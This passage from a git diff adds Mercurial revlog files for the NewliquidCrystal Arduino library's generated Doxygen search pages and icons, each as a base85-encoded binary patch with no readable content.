l^IVr+Kxl8!xg1%8?z(&sTx@-7xZnEv5%{Ow`2(Hjc$K=;8c_fM literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..7f7e45c7fc19ce1b0df2717ca017887fded2e41d GIT binary patch literal 1163 zcmV;61a$iV0RRC20000000OK401EN|00000005}}|NsC0|NsA5Nk;=XneNfrpEb=R zEiSMfsU;}@00000000000001ZoUN8oZ`v>r$KUxBuAiv1*d+mJS`!``n10$lvLj6v0x9U;@g$+XcXOhRxbCOtKjf?eG$m37aJjf8Yi?R*$qppUWM&!TFR!V+ zZmEdc>N^?Dbxv54t>L&05JEoI>VG{8F1M+IZQUrP1}-?(Ofw}alLkJig)_xB7ZBvx zGp|@)W&spjZAAu}u9}(>&B?CMcbfEzJ26n&(7QhBwfYtp) zZG$Jt)vB-&eT-o=dQ4o}k)&%w(zPS$T99e&|jx4~A z-U-(04%X`c_VC?b)>o}x{(X4r?LYL*^BbaQ%=JDp&p{i%y8gS*jQumm>9L${H@X9) z+nJ`^gjdy!_4kX&IjYwv#1dJgqzYh`XB=LhHoo2HlyyhM@n}E*GG2n^VXhC4B=G#Q zcRbEU-Pd`?Ioicq;AR)AS2MG4_WlCcS;LF~00002tN;K200CbB01dYQ0000000682 z00030|NsA_e4>O*TW1B#mz+qR)oe<6z0$R6Q4UMN%{wTF12yh2(Yf z+8UF#!A#P%hpbKUPU~#5D`Lc{EO}uGN_e{3e@oa;q`ILME##ed+huP#ZF=gams_pe z-#<<2^khW)z_TMc9+V)u(U|6oWT_ dOZJB%GNFjfC?W%js3(P|PvPw;egIqK3-3b)9i;#O literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/close.png.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/close.png.i new file mode 100644 index 0000000000000000000000000000000000000000..b9639f00f4354b616e7e220e7f60843f3c842b08 GIT binary patch literal 338 zcmZQzWME_f14bbR21Y>$n_x@O; zj&Pw%N_1e`}j-XlTjYR2`)q@1f+lI;-aG@YEZUcI-g-M4H1uO%e7e{c$#> z^eVnWKflE{*JwxvC{|49+~iWQg3{R>Bb*siexY=?+mYQFk!nrj1$}n0hK}5so;hF= zZa5BmzPkzi3>Xi6lbZrUpSEYu-+*Dr#rEL$Hm?FamBN59UR;-eQQCe5*ub-Cb6lhu zQyNTgAAj{GnA#vkE}oErBEZ_z1?UXGU}S8Bj+knVQKn#J5x`WM5$ADKovOSvhuB9} zvDS-`R_UJcsIh%_dt-^Tsi)^ZNM56~U|I)wxwvC%a3%A+LOFMyNN{+5aqV$S!_3yc z$ziS~ DNWn)h literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__61.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__61.html.i new file mode 100644 index 0000000000000000000000000000000000000000..fb0304f176be51e69e988e3db01d04ea15c8bd7c GIT binary patch literal 737 zcmV<70v`PU0RRC20000000N-^00u|^00000005}}|NsC0|NsBip?7L%-U1{!mLapj zVq%3?#*fti00000000000001ZoUK&fZ`v>re&?_7yq8v5;sjEDtVyJnQVoql1*x_@ zMaDTu+7M^4f#$!TO;QSzn2NNQaGbyI&Uc^h+)sCte(>vYfMU5y(c{zYXxK;CAmm4@ zPsm+xhkkww9!AJEEff?q6NyZCMpHrtV~lVtW&V|r?RIN!TP81-B$$#{9n03_+BD<= z(~M+<{f4Vgd^ZLf`L0Z43cgFK--f#aNs*3i!0&ak@o=AK5;AE7Weymz>Ys-tyvi!a zHH&E>KzdKXz0t))1xb_a1r?BbSjaL35d%n!q>4}znGhJo1uPT-Xu)Drdo)$BBFW_; z_L**I<;6%8Y|nTWSlzoiQADzrKGG%VlA~mUl1O`oSp=_du03uh zsa&f&Y0QYzD9M)CuMN{QU82x`bEY8Hsl;{MkV?KvSa`LVr<}d04Coj>$YfD!H*)EY zGnBBhFyh$@lo8)%9xgzxiwso-R^f#?rke}csHT6hE^BmNfR6c5_&Wa(_PrV9YR=O) zflQNx3o2xoggorVrq=v3wVYnZUcl9Y&cU&py-us$vAWFZIbe069VxkKu~e@DhdC`& z3hdtmlZRnHyd6#Y-(5m?oe(+A4iYo29+`iyvJEF@tkhM0lO2^yelR{69?& zr)jn;ayL(V^VCEg^2YpuN*05f@-auX{l@y|mhjzAhS7*PTd!29rmB08f;MlgW{18Dd<4Ol*Nx+cP@ylB-!P6g TT-|WJ;dTp8ukpqoSi2d83vFHh literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__62.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__62.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c44889f48d5f62d92f78e644bbb73606b3dd5233 GIT binary patch literal 719 zcmV;=0xO$u4NHHoxByP{EAl}y{7 zBFA<}+Tdiif#&aLla#`wRz=zqm+NzmeecP={?X`m82!Gx1esnG;O@u8WIP1W!T4u? zi18>IfnV3r%>=lp2O>#?%5`1}Qeb>Jg#cz+S6?t*uh(eZN2Q$O=pH{=E!UFU(9t_g z#599p$G0b;pK-!MU+22up^uy2j=$iV0ITirKg)a-z+ovg7ut#HibFt~e*x6|NjG<# z(~L;Pb?_s)a?T(&B1JA9f#gL1m97h}GR`#w+9s-j-QmQ2DBhb1#otMN9Np?%<>h;nazv^<4@12EpDcX zUYa*q%%mhN7jqc40Yb>f2K_JRo~vb{VXGS_ggzGeJkzn4mT79P0Q>k$p=E8;z$Y8h zSo1{>f>J#4nw4u2K*{w|3eZ&8=qofOt1e%eu7B(ux9Cc8tNC8|vU(Txr5p7kDT`-^ z5W;a0)0o9)8M2OlAidP<5#CP*2}=eijCq8e4w4i4sW%{}p6eO2iJY5n0>%}QMjwV3 zUx(i(<8Rkde0z1}W3uUks)*RRmX_ul3n#-7%8aw-%=WNt{hi_Q4%rm0+>9CS67p6dDs=X|@4KM03>u$&R7;TmiV!5gcQU_3!g2VII zi7zjDjk+Ro-$xJt!Pj86o9n_o2s}RT?0es!yC&~Adz-9nxZPx%#b(!a=P!ut5%#*_ BUF84( literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__63.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__63.html.i new file mode 100644 index 0000000000000000000000000000000000000000..ab12f3b4f04fe52c36c3a887172c5d9d383f63e1 GIT binary patch literal 653 zcmV;80&@KT0RRC20000000K<_00g1{00000005}}|NsC0|NsAG{~Bs@Njt$BC-~ji zSitsJhG_Qy00000000000001ZoQ+h`ZrU&uedjAY?}bW>4W$xnO(LzpG$f!^Nww_> zx%Mqdo7kCcp!xgRNlIZ_r#|K8`kZUubFLkJm|TyOUpG^f+9F3ccUSY-7~z1@AA>Qa zlVpN^eoq#2)F(ZZXeLc&GbLG0>2!$^POUA!P`cmm$$mhT-q7ThKKojIPj17&9x;iq z0>_=uuf$;rOvIthYz}cqn{Ov9z%t}(2k?8F?IJu@(t@->Qk8%aZ~h`|;n_BOT=JA@ z12(!#z6B#pU6DMKPe?-^VPmTtObTEzvaUi)YItx6V4A1IXFSz#ot5?&`^a{z z$zo(QKQJB*cIR$Z9Ff-jbi#WjD#UYUOoUgrH*5pGWs&VrCVXZl1w6l`4!D(NcI(dM zF>}R4CO0^4142kh9r|z1EtqX?aa(uIRZ%eM1xBa1skFNCX%w;=JhM>rFjDdfDxvl= z!W!&WOVo7M)HP(uc3s#xwLkUFT6C$w*L*L0TfPhXszO!VtNg_oLg+eQ^R-xyQsSNd z$nJY$G=$!8H0Z++Eh<7T)C-==i>=UotJLStJjMCFU^mATGcJpP94IxygKGB)q+``f}5YELT&uQ`tSV3 z;fEmT2*tOB>y5ZZr#blWs+x)JVQ|h!J@!Oorp#FtVW}kG%eRTICwhyzWBSxW6d?(F nv^vgp@d*TTo*Q literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__64.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__64.html.i new file mode 100644 index 0000000000000000000000000000000000000000..994003c94a01feaa8f3ec60175de4bf05db1be83 GIT binary patch literal 1092 zcmV-K1iSkH0RRC20000000aa802B-W00000005}}|NsC0|Ns9?NGKd7N@pd)VGri00000000000001ZoVA!;Z{j!$VVHHW}vG@>U64> z(d=GDj%`S0(u7S6lz+cT2rYEl**LIQF(>Ce_`LR`NXL6O`7)mUeR~B$`4EHKub-}` zV*vZQ{*8=veKMPXzy6$kz6MA$z$~Ll9?2+8Xsqj3HxR&3%H@TwZ#ElkL$owo=(9Wh zv8;tkalP!z1Et0#hog>Hz8QI;pnT-XNXBC1>APpgdk~U>vUXqmvx?S3I8GBO64{?^ zmjVK|`!$48Jj&gFT(Xd6xsb!Jvp@O{)Qci7jhh=(wj+gRkG5E24eRH%h4&mjmi zF)uO%%~+_Fky4toELzIL-0yTvcTouPj6Es7=djrK?oA=otA09Okn$~HG0pQKyuZ7p z3sJVrqcwiRtOIYVfG>aTvus6G_$karZuJ zWvyJTn(oI@K?V0&w#_Atecz9;&wPh1ms-ifdrG() z1ju%Y3RRb4;r%F>`-c(nx4kX^agCB z6WJbAY!4LKMs3(et=LBDY@<`z#+-8#IfR?0$t{ks!vY>~3tO%*g~49ClLK|OQ5&{V zE4Gn3+vs$*&*|eC*tQz7jaAsjYHVW#w(*H=%pb+&OEws9-Au{zuMbhgjw;~Cht8?sGQ*d}Uh69u-( ziEP^y+qNRxqz&7o728CeZF2H=JD|2RHwG@XMIZv^4ul;DF}GYpI1YdHPTJ~hlQwLV zR%{b>w#ga3+h_Fg3~WX(zAk@v3O@9>nZ9*V}aqRXpTl*>=sDepdwXnI;TVA6P$FJrnL z!X!-uynI{uyrZ|IYnmOO9~go}Y{30ttP77)VDGYXeCE6CZV~VIkET?$;pLR78d{a3 KxX!=c8N8hY!YE<@ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__65.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__65.html.i new file mode 100644 index 0000000000000000000000000000000000000000..edad4467b2ef5073889f5a7468db4db18efbfd8e GIT binary patch literal 843 zcmV-R1GM}A0RRC20000000RpE00@@=00000005}}|NsC0|Ns9#G2O$0NF(NCzhCUb zLIxGp+Rh{Z00000000000001ZoV8ZbZqqOneeYKoBS9+>Cuvz}x3mv*MO50#v<3lB zk!RmDfiwxW+b(~PoupecCU*xQZ@g!hA7=iSn>mWqCP6nJ-(D?d2wS%O zX)v?xOaBsme(zsjA(uGF7c`ZzinEj^wmn~Bgd?T$bKBnU_hdgHnONKYt$lB_Ttlvx zmO5e*t~j1{Jo9GiML_w~Q?W{5>e#hz3=LcCfa2_9q%sV1!4)6a)MX4H*^gqWghQP%uQsGa=1T) z9&jr~)mHDxV6HOC<8+Ou^@0%M*&6+na|?2tC|v6XkZM)bgv?VV3KK>iEpZD48waB- z{RRck_UQx*P+O6rDyd3Rk|o`BVW*9L<@9QFF2HEEg>Um#*hd43&0Urpit_0Bd6VsD z>vaO%mu0>$dw4oudNwT+Y$QI5;)ILJ64cB-VC@VjB@SC{?ZXMy@9g-Q^5_c7%&D(T zA;b=nSa$^vm?)&8Ne~2aKVZR#t;SYTlMxmu;46I@djEpdAsV=ezh&jQ+SIecTYF@FDfyLYWq3d zg`pEV4m}&QaX20g2Y1XJ566QMKYP<3{>uK(^I708uIC4vWlqzlhhW;M42kpwu2Fv| z#_{F6D)TI_=ZEE~3;LM1%&w_o5$K_@%uu~PuzovqrrtBl>hO$hH#$$Elb$DFmT!v% z?>&JRv&P&mZdbRILyN?A+@Zn-I4F9{mM5&nP==T16JQ^b0 z)%6E!sOuNu1^RX!ejOvC87Qo1QD-763!3Zt_;k3sG$vHwx%hJ`ylDFe-~j*zj^)^l=4ZSruqk>u#r7yP>NSSjql> zG*0)?iwc^YZNry~R!ryjPQx*mPG4s^P0Nxh)O!3kI?U%bJU+;%k4 zQb}AcHyzz0`CT%3xo!!DsDL4AV2A=3q6&t2iD6I@GZyBA@- z{^eV35s=Mzr;FrkFz zc}&@3OC+`m5?c+4t$@T}O`@yM5LbYE<1OwaC_ zJceKOe{z2posYulyUiaDFIsl~a7vqQi`vdCug0@_k<(2d7i9tX>}}!eiQbZ~Xmtz` t^-%$9G(Gg4;G+vQhcxsG=-x*tZr9zvArRgNAWZzkg*!VaZB`$I}c z(Fi@=Mt2i*PI@SkOsGs}gZJ!i!NuwFv*;wb6+?tL)U=pr5 z4mzH_3A_{-4?Lae90HFvXUAKCX2`~N;P*P)_;^?d4MICnRRTsy^W|d=JKf~CPEsZn zX#X+#;kcNZAbBQUk%ZjGN>@3k6hLF7O@x-1D1}ifVPO!!WReo=u~e1Ftkj3t7q(%I z7b7K;J>x}TQ+IP?h_vpf<2@I=LP^e)^6`B3z?NWJ=Gg{i+!|u(s$IUg@uUo6t+nXQhcgUL- zcT6WKn4OvysI}i%|J}*JJ8_&2FOv1j^hiv@VGh>3sm8p!U#3%1KLx@wRpzYnu_y%K z>yL@=6@5hAFnKH`@{xconjiYQ_y~eeuRF)`H|VbMJI>L2Y6ouLQ~kW`Powh(PkWPb DiJ3gD literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..8841d88c2e82e55627addf45a32f324a8e5ceab7 GIT binary patch literal 2484 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__72.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__72.html.i new file mode 100644 index 0000000000000000000000000000000000000000..1baddd8de7d008f33180976b035ac19a3b900e70 GIT binary patch literal 846 zcmV-U1F`%70RRC20000000RyH01D;+00000005}}|NsC0|NsB8%frl~r+cs$m>sjN z^bg^hGwD(Q00000000000001ZoV8ZbQsOWaedjA;oLOOJ+Y*b2T6hrMS!UFA0EgYD zPE4+}TH0m&lW|0Nvi5Uk&;Q8sf0NO)i&) zTw|JCa@?yq`c2RAfbyOreHlQ{v5IHSnSrE8Ya8%;?k~EyAB7S^X^gWNFk;28E|%~t zi~l%d9u*15?%nvC(ZQAy3HXNUzfNxFD6yromnEpvZ?e6A~lki+w` z^nx2nD(7lX8gmsn-<53!Ru>d(2Au5_GBop(7F6yvQMt^NKN^~qhYgUEN<4V|-0om+63YLem^89p@ zJ&vZ+0O|*MzXuK68;%@{<_&H%-uL`~3kdVxH@kOPH3M>qI+j$({ck}rGmRmWQnAK>$?7-%iIo&V^e2gpFVU>nl|qMP`lIaoV1#(-BiWSaqHN= zCr5`W22@N{TCf{aWsuYs)*Gi^_DQ>Wc9qNbOZCBF-&D$_!LMB;JGe-8a*=HBBH7Nx z#1*!i{x2U#LwmAjWEtk=vr@LxirKDqD5XtRPvbSbLbk~Vvz_MIo@|+IvP-tfPT3~g zXPbOD+pNWb+csrQMq4(A2gaanpTJ4`=(yFP|N15;+h?2Xl5Mh6w#oL{CZCY)PxNtz zY_H$-qrBDpwtrc^b>FY^ZlY@{nFs35zll(}Ub5buVS3JaP{FRSmddRH(0d-ldivDS)H~;_u literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__73.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__73.html.i new file mode 100644 index 0000000000000000000000000000000000000000..bad99b8ebc4b992018ddc59bb234c05242ff907b GIT binary patch literal 2234 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 mIK;Z}hyqV9JIBsx*j1V|%6n(lSG6COG{# zF~VN36C=BlfcW26vK<1QrjwJ`tM^vB`*!7>jlK=TUw31as7;3M9r_Ux<*N_|2Qb$Y@ zs~86@&zuBa0xS+Zm8uK^kJjIow*keFiEY8}ZMyUEFy{)mvcj?ejH3F_#|oZReaBUl zFd;$t58;i~$5aQ&QvQSlWImRv%s?gp3L~W>G{i_sj1mDWjQ}R1gcy&Z%1ESzI>tV- z9jm<l00+RXr_lna3rHGA5;u=l6GP4W{Hc-Jvu#o(YfP`Neg>%@tEy zos+>#a~7w3jf2J@gm_e=|K{9-+-3?laTgrcOr<+>9XbV$xe}#uBac<+iGocBqntlM z8RvWMV*zR_II2sl14}YvyEg1}yFYf$8+0MS#C$J&Tf7VV+Jg$ySrkp?OsNX-LnU-+jUm1 z+Zps7TaN(~YdtM^Q81wsz`<<%<#RasKK3Z9dL#?Rk5YNKJz}#QHTDbZzatuWXO`89^Ju%##SvZUI0Iu|my@`C zn5}bCZ3c-`S!AsAG0!>RtG9`-8NEf_F>xv~@)3tUnjibx_ymH_uUe;rQKQ@1Z&@en T)im6!SG8^C4Qc%WFiMs637tHD literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__70.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__70.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b3048ffdd390c77e674ae6dabe073ae6a528b1bd GIT binary patch literal 683 zcmV;c0#y9~0RRC20000000L_O00hMV00000005}}|NsC0|NsAG9x^%RAakkZCI+1- z1kHAeF5f`_00000000000001ZoQ+gXbJ{Qvz4I#+^+IN9$$&|qv3&^8DKmsH!Rg0| zk?jRLF|sQOi2r>h+ab_tIyrg0dT+J6Z&&Wc_ zNKoEm@YNb%s)J-He?|f_4@*^MAQJ$EknaWiFMxfi6+vjo|YTtafzagN$KI`!-8$VlpLpfl*Yz0n^B_vSiu4xDf$O5;W@tI$&gTN|UCKSLSk z2kv13Y9~0VORED*GH3fX>~*_8+m{Wx5MW|{6uv7ygnes6xefE|RT@I*DqBUXcr{3f zk@^z@fc15E5U!o;?p60{z*rxK!``sNI(@qvM$GQTj$?;mxDIWn%hu7L-*c|l!=V#8 